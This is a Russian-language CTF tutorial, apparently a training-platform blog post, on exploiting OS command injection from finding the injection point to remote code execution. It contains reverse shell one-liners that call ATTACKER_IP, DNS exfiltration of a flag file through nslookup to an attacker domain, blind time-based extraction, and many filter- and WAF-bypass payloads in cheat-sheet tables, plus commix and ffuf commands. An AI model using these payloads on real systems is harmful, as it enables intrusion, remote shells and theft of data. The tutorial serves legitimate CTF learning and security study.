
На одном из последних CTF таск с формой конвертации PDF фильтровал ;, |, && — типичный blacklist на три символа. Решение нашлось за 12 минут: конструкция $(cat /flag.txt) в поле filename прошла без единого срабатывания фильтра. Этот паттерн — неполный список запрещённых символов, CWE-184 (Incomplete List of Disallowed Inputs) — встречается в каждом втором CTF-таске с command injection уязвимостью. Русскоязычные разборы показывают финальный payload, но не процесс: как определить точку инъекции, перебрать разделители при фильтрации и вытащить данные, когда ответ не приходит. Ниже — полный workflow от первого запроса до RCE.
Command injection уязвимость — CWE-78, Improper Neutralization of Special Elements used in an OS Command — возникает, когда приложение передаёт пользовательский ввод в системную команду без нейтрализации спецсимволов. По классификации MITRE CWE-78 стабильно входит в Top 25 опасных программных слабостей, а в OWASP Top 10:2021 вся категория Injection (A03:2021) сидит на третьем месте. Подробнее — в нашем подробном разборе создание ctf заданий.
Отличие от code injection — принципиальное. При code injection атакующий вставляет код на языке приложения (PHP, Python), который выполняется интерпретатором. При OS command injection команды уходят напрямую в оболочку ОС — bash, sh, cmd.exe. По данным OWASP, при command injection атакующий расширяет дефолтные возможности приложения для выполнения системных команд без необходимости внедрять свой код. Последствия серьёзнее: доступ не ограничен рамками приложения, атакующий оперирует на уровне ОС с привилегиями процесса. Процесс от root — атакующий получает root. Всё просто.
MITRE выделяет два подтипа. Первый — Direct (Command Separator Injection): приложение выполняет фиксированную команду, пользовательский ввод подставляется как аргумент, атакующий вставляет разделитель и дописывает свою команду. Второй — Indirect (Full Command Control): пользователь контролирует, какая именно программа запускается. В CTF почти всегда первый подтип.
В CTF мотивация — забрать флаг. В реальных атаках command injection — этап Exploit Public-Facing Application (T1190, Initial Access по MITRE ATT&CK). Дальше цепочка стандартная: выполнение команд через Unix Shell (T1059.004) или Windows Command Shell (T1059.003), закрепление через Web Shell (T1505.003), эксфильтрация данных, латеральное движение по сети. Монетизация: от ransomware и кражи учёток до продажи доступа к инфраструктуре на форумах. Одна незакрытая форма пинга — и вся сеть скомпрометирована. Именно поэтому CISA в своём Secure by Design Alert называет OS command injection уязвимостью, которую можно полностью предотвратить на этапе разработки.
Ключ к эксплуатации command injection — знание метасимволов, которые shell интерпретирует как управляющие. Вот исчерпывающая таблица:
| Оператор | Linux | Windows | Поведение |
|---|---|---|---|
; |
Да | Нет | Выполняет команды последовательно, независимо от результата |
\| |
Да | Да | Пайп: stdout первой → stdin второй |
\|\| |
Да | Да | Выполняет вторую только при ошибке первой (OR) |
& |
Да | Да | Первая в фоне, вторая сразу |
&& |
Да | Да | Вторая только при успехе первой (AND) |
\n (0x0a) |
Да | Нет | Newline — разделитель команд в Unix |
`cmd` |
Да | Нет | Inline execution: результат вложенной команды подставляется в строку |
$(cmd) |
Да | Нет | Inline execution: аналог обратных кавычек, поддерживает вложенность |
Момент, на котором горят в CTF: обратные кавычки и $() — не разделители, а механизм подстановки. Они выполняют вложенную команду и подставляют её вывод прямо в аргумент основной. Разработчики блокируют ;, |, &, но про $() и backticks забывают регулярно. По данным PortSwigger, метасимволы ведут себя по-разному в зависимости от контекста — одни позволяют видеть вывод (in-band), другие годятся только для blind-эксплуатации.
Ещё нюанс: если ввод попадает внутрь кавычек в исходной команде (серверный код вида ping "$input"), нужно сначала закрыть кавычку. Payload "; whoami; # закрывает двойную кавычку, выполняет whoami, а # комментирует остаток строки.
В CTF-тасках command injection прячется в любом месте, где бэкенд вызывает системную утилиту:
Правило: если в интерфейсе видишь что-то, что на бэкенде логичнее реализовать вызовом CLI-утилиты — тестируй. Особенно опасны os.system() в Python, system() в PHP/C, exec() в PHP, shell_exec() в PHP — все они передают строку в shell как есть.
Отдельно про Java: Runtime.exec — это НЕ аналог C system(). Runtime.exec не вызывает shell, а напрямую запускает программу, поэтому метасимволы ; | & && не интерпретируются. Если таск на Java — ищи другой вектор. Документация OWASP это подтверждает.
Шаг 1: отправляю легитимный запрос, фиксирую нормальный ответ и время отклика. Если в ответе виден вывод системной команды (результат ping, содержимое файла) — потенциальная точка.
Шаг 2: пробую базовые разделители по одному: ; id, | id, & id, && id, || id. Если фильтрации нет, один из них сработает и в ответе появится uid.
Шаг 3: если вывод не приходит — blind-тест: ; sleep 5 ; или | ping -c 5 127.0.0.1 |. Задержка ответа на 5 секунд подтверждает инъекцию.
Шаг 4: если стандартные разделители заблокированы — пробую $(id), обратные кавычки, %0a (URL-encoded newline), CRLF (%0d%0a).
Когда инъекция подтверждена, первый набор команд зависит от ОС. Задача — собрать информацию (MITRE ATT&CK T1082, System Information Discovery) и найти флаг (T1083, File and Directory Discovery):
| Задача | Linux | Windows |
|---|---|---|
| Текущий пользователь | whoami |
whoami |
| Информация об ОС | uname -a |
ver |
| Сетевая конфигурация | ifconfig / ip a |
ipconfig /all |
| Список файлов | ls -la |
dir |
| Чтение файла | cat /etc/passwd |
type C:\windows\win.ini |
| Поиск файла | find / -name "flag*" |
dir /s flag* |
В CTF обычно нужно прочитать /flag.txt, /home/ctf/flag или что-то похожее. Быстрый payload: ; cat /flag* или $(cat /flag.txt).
Если таск требует полноценного интерактивного доступа — следующий шаг reverse shell. На стороне атакующего заранее запускаем nc -lvnp 4444. Самые надёжные однострочники:
# Bash (если доступен /dev/tcp)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Netcat через mkfifo (работает без флага -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
Если bash-вариант не работает (sh вместо bash, /dev/tcp недоступен), альтернативы через Python, PHP или Perl — выбор зависит от того, что стоит в контейнере. В Docker-окружениях CTF часто нет nc с флагом -e, поэтому вариант через mkfifo надёжнее.
Когда reverse shell невозможен из-за сетевых ограничений (контейнер без outbound-доступа), используйте redirect вывода: ; cat /flag.txt > /var/www/html/out.txt и забирайте файл через браузер. Типичные пути к document root: /var/www/html/, /var/www/static/, /app/public/.
Blind command injection — ситуация, когда вывод команды не возвращается в HTTP-ответе. По данным PortSwigger, это большинство реальных случаев OS command injection. В CTF blind-таски сложнее, но решаются тремя техниками.
Инжектим команду с измеримой задержкой. Базовый подход: & sleep 5 & или & ping -c 10 127.0.0.1 &. Если ответ сервера приходит через 5–10 секунд вместо обычных 200мс — инъекция подтверждена.
Для посимвольной эксфильтрации: if [ $(cut -c1 /flag.txt) = "f" ]; then sleep 3; fi. Перебираем каждый символ — медленно, но работает, когда других вариантов нет. Такой себе brute по одному байту, зато гарантированный.
На Windows: & timeout /t 5 & или | ping -n 10 127.0.0.1 |.
Если есть запись в document root: & whoami > /var/www/static/out.txt &. Затем забираем https://target.ctf/static/out.txt. Проблема — нужно угадать путь к веб-директории. В CTF пробуйте стандартные варианты или ловите ошибку приложения, которая иногда раскрывает абсолютный путь (stack trace — ваш друг).
Когда нет доступа к файловой системе и time-based слишком медленный — DNS-эксфильтрация:
nslookup $(whoami).YOUR_DOMAIN.com
# Для содержимого файла через base64:
nslookup $(cat /flag.txt | base64).YOUR_DOMAIN.com
На своём DNS-сервере или через interactsh/Burp Collaborator видим запрос к www-data.YOUR_DOMAIN.com — результат whoami. Base64 нужен, чтобы спецсимволы не сломали DNS-запрос. Техника мощная: DNS-трафик обычно не блокируется файрволом, и payload работает даже в жёстко ограниченных окружениях.
Вот тут начинается настоящий CTF. Организаторы редко оставляют инъекцию без фильтров — было бы слишком просто.
Когда пробел заблокирован, заменяем его:
${IFS} — Internal Field Separator, по умолчанию пробел: cat${IFS}/etc/passwd{cmd,arg} — brace expansion: {cat,/etc/passwd}$IFS$9 — переменная $9 пуста, но заставляет shell интерпретировать IFS: cat$IFS$9/etc/passwd< — input redirection: cat</etc/passwd%09 в URL): cat%09/etc/passwdЕсли фильтруются слова cat, ls, whoami, passwd:
c'a't /etc/passwd — bash корректно обрабатывает пустые кавычки внутри словаa=c;b=at;$a$b /etc/passwd/bin/c?t /etc/passwd — ? заменяет один символc\at /etc/passwdecho Y2F0IC9ldGMvcGFzc3dk | base64 -d | shcat — tac, head, tail, less, more, nl, xxdЭти техники прямо маппируются на MITRE ATT&CK T1027.010 (Command Obfuscation). В реальных атаках обфускация используется для обхода WAF и EDR — так что навык из CTF переносится один в один.
Когда заблокированы все стандартные разделители (;, |, &):
%0a в URL-encoded) — самый частый miss фильтров, потому что проверяют только печатные символы$() и обратные кавычки — формально не разделители, но выполняют вложенную команду%0d%0a) — особенно для Windows-бэкендов. Именно этот вектор использовался в CVE-2023-29084 (Zoho ManageEngine ADManager Plus до версии 7181, CWE-77, CVSS 7.2 HIGH): по данным Fastly, функция экранирования CommonUtil.getPowerShellEscapedValue обрабатывала стандартные метасимволы, но пропускала CRLF, что позволяло внедрить произвольную команду. EPSS-скор этой CVE — 0.98, Top 1% по вероятности эксплуатацииЕсли WAF работает на уровне необработанного URL:
; → %3b, | → %7c; → %253b (если декодирование происходит дважды); (fullwidth semicolon U+FF1B) — некоторые бэкенды нормализуют в обычный ;По данным OWASP, даже встроенная PHP-функция escapeshellcmd() не спасает: она предотвращает выполнение дополнительных команд, но всё ещё допускает argument injection — атакующий может внедрить флаги вроде --output-document= для записи файлов без использования разделителей вообще. Подход «запретить опасное» вместо «разрешить безопасное» — это CWE-184 в чистом виде.
CTF-таски часто моделируют реальные уязвимости. Вот кейсы, подтверждающие что OS command injection — не учебная тема, а активно эксплуатируемый вектор.
Nagios XI версии xi-5.7.5 содержал три уязвимости OS command injection из-за неполной санитизации пользовательского ввода:
windowswmi.inc.phpswitch.inc.phpcloud-vm.inc.phpВектор CVSS у всех трёх идентичен: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — сетевой доступ, низкие привилегии, полный импакт на конфиденциальность и целостность. CISA добавила все три в каталог Known Exploited Vulnerabilities 18 января 2022 года. SSVC-решение — Act (патчить немедленно). EPSS-скоры экстремальные: 0.72 для CVE-2021-25296 и 0.74 для CVE-2021-25298 — оба в Top 1% по вероятности эксплуатации.
Для автоматизированного сканирования существуют Nuclei-шаблоны CVE-2021-25296.yaml и CVE-2021-25297.yaml в официальном репозитории ProjectDiscovery. По данным Fastly, эти CVE можно было чейнить: начав с низкопривилегированного аккаунта, через цепочку инъекций получить полный контроль.
Паттерн для CTF: разработчики копируют уязвимый код между модулями. Нашёл инъекцию в одном параметре — проверь все аналогичные эндпоинты. Копипаста — лучший друг атакующего.
CVE-2024-20399 — command injection в CLI Cisco NX-OS (CWE-78, CVSS 6.0, MEDIUM). Вектор: AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N — требует локального доступа и привилегий администратора, что объясняет умеренный CVSS. Но CISA добавила CVE в KEV-каталог 2 июля 2024 года, SSVC-решение — Act, а по данным inthewild.io уязвимость эксплуатировалась с того же дня. По данным SentinelOne, этот кейс показывает, что CVSS-скоры не отражают полной картины риска — оперативный контекст и критичность сетевого оборудования перевешивают цифру в балле.
CVE-2023-29084 (CWE-77, CVSS 7.2, HIGH) — command injection через Proxy settings в Zoho ManageEngine ADManager Plus до версии 7181. Поучительный кейс: разработчики реализовали функцию экранирования, но пропустили один класс метасимволов (CRLF). Один пробел в blacklist — и защита бесполезна.
| Payload | Когда использовать |
|---|---|
; id |
Первый тест, нет фильтрации |
\| id |
Пайп, работает на Linux и Windows |
& id & |
Фоновое выполнение, универсальный тест |
$(id) |
Разделители заблокированы, Linux |
`id` |
Backtick, альтернатива $() |
%0aid |
Newline в URL-параметре |
%0d%0aid |
CRLF, Windows-бэкенды |
| Фильтр | Payload |
|---|---|
| Пробел | cat${IFS}/flag.txt |
cat |
c\at /flag.txt или tac /flag.txt |
Слеш / |
cat ${HOME:0:1}flag.txt |
| Все буквенные | $(printf '\x63\x61\x74') /flag.txt |
| Разделители + пробел | {cat,/flag.txt} |
| Кавычки в исходном cmd | "; id; # |
commix — специализированный инструмент для автоматического обнаружения и эксплуатации OS command injection. Поддерживает result-based, blind time-based и OOB-техники. Запуск: commix --url="http://target/ping?ip=INJECT" --batch — перебирает все известные payload автоматически. На простых тасках экономит время, но на тасках с кастомными фильтрами всё равно придётся руками.
ffuf — для фаззинга параметров на предмет инъекции. Фильтрация по размеру ответа: ffuf -w params.txt -u "http://target/api?FUZZ=;id" -fs 0 помогает найти параметр, который принимает нестандартный ввод.
В Burp Suite Repeater удобно вручную подставлять payload в параметр и анализировать raw-ответ. Intruder — для перебора списка payload при подборе обхода конкретного фильтра.
Из опыта решения web-тасков: большинство CTF-команд тратят непропорционально мало времени на этап discovery и слишком много — на подбор payload. 80% провалов происходят не потому, что не знаешь правильный разделитель, а потому что не нашёл правильный параметр. Конвертация файлов, генерация отчётов, бэкап — всё это зоны, где бэкенд с высокой вероятностью вызывает системную утилиту. Начинающие игроки проверяют только очевидное текстовое поле на главной и упускают HTTP-заголовки, cookie и скрытые API-эндпоинты.
Другая системная ошибка — фиксация на ;. Организаторы давно перестали оставлять точку с запятой незаблокированной. Первое, что стоит пробовать — $() и %0a. Эти конструкции проходят большинство самописных фильтров, потому что разработчики мыслят в терминах «запретить опасные символы» вместо «разрешить только безопасные». CWE-184 — это не абстрактный номер, а описание ментальной модели, из-за которой blacklist-защита стабильно ломается.
Command injection — не «уязвимость из 2005 года». CVE-2021-25296/97/98 в Nagios XI, CVE-2024-20399 в Cisco NX-OS, CVE-2023-29084 в ManageEngine — все обнаружены и эксплуатировались в реальных атаках, все добавлены в CISA KEV. Это живой, активно используемый вектор. Если хочешь не просто решать CTF-таски, а довести навык до OSCP-уровня — на WAPT эту цепочку разбирают в лабах с ментором в чате.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...